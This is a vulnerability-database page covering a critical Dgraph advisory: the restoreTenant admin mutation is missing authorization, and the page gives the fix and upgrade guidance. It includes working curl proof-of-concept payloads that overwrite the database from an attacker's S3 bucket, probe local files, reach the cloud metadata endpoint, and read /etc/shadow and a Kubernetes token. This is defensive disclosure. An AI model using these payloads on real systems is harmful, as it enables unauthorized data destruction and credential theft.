Loading...
Skip to main content

CVE-2026-34976

CRITICAL

Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization

Published April 2, 2026Updated August 11, 2026Source: osv

Summary

The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. ## Authentication Bypass Every admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map. When middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging. ## PoC 1: Pre-Auth Database Overwrite The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database: # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials. curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }' # Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}} # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace). The resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data. Note: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys: mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } } ## Live PoC Results (Dgraph v24.x Docker) Tested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison: # restore (HAS middleware) -> BLOCKED $ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]} # restoreTenant (MISSING middleware) -> AUTH BYPASSED $ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]} The `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic. Filesystem enumeration also confirmed with distinct error messages: - `/etc/` (exists): "No backups with the specified backup ID" (directory scanned) - `/nonexistent/` (doesn't exist): "The uri path doesn't exists" (path doesn't exist) - `/tmp/` (exists, empty): "No backups with the specified backup ID" (directory scanned) ## PoC 2: Local Filesystem Probe via file:// Scheme curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }' # Error response reveals whether /etc/ exists and its structure. # backup_handler.go:130-132 creates a fileHandler for file:// URIs. # fileHandler.ListPaths at line 161-166 walks the local filesystem. # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path)) ## PoC 3: SSRF via S3 Endpoint curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }' # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint. # Error response may leak cloud metadata information. ## PoC 4: Vault SSRF + Server File Path Read curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }' # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080 # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag ## Fix Add `restoreTenant` to `adminMutationMWConfig`: "restoreTenant": gogMutMWs, Koda Reef

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/dgraph-io/dgraph/v25 to 25.3.1 or later
go get github.com/dgraph-io/dgraph/v25@v25.3.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (3)

PackageEcosystemAffectedFixed In
github.com/dgraph-io/dgraph
go
All versionsRange-based data available
github.com/dgraph-io/dgraph/v25
go
All versions25.3.1
github.com/dgraph-io/dgraph/v24
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-862
    Missing AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-34976?
Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-34976?
CVE-2026-34976 affects github.com/dgraph-io/dgraph, github.com/dgraph-io/dgraph/v25 and github.com/dgraph-io/dgraph/v24. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34976 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-p5rh-vmhp-gvcw
GO-2026-5529

Related CVEs

  • CVE-2026-77414
    CRITICAL

    JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

  • CVE-2026-77415
    CRITICAL

    JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

  • CVE-2026-77413
    CRITICAL

    JSONata: Arbitrary Code Execution via crafted JSONata expressions

  • CVE-2026-40173
    CRITICAL

    Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints

  • CVE-2026-41327
    CRITICAL

    Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field

  • CVE-2026-54061
    CRITICAL

    Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import

  • CVE-2026-41492
    CRITICAL

    Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars

  • CVE-2026-41328
    CRITICAL

    Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies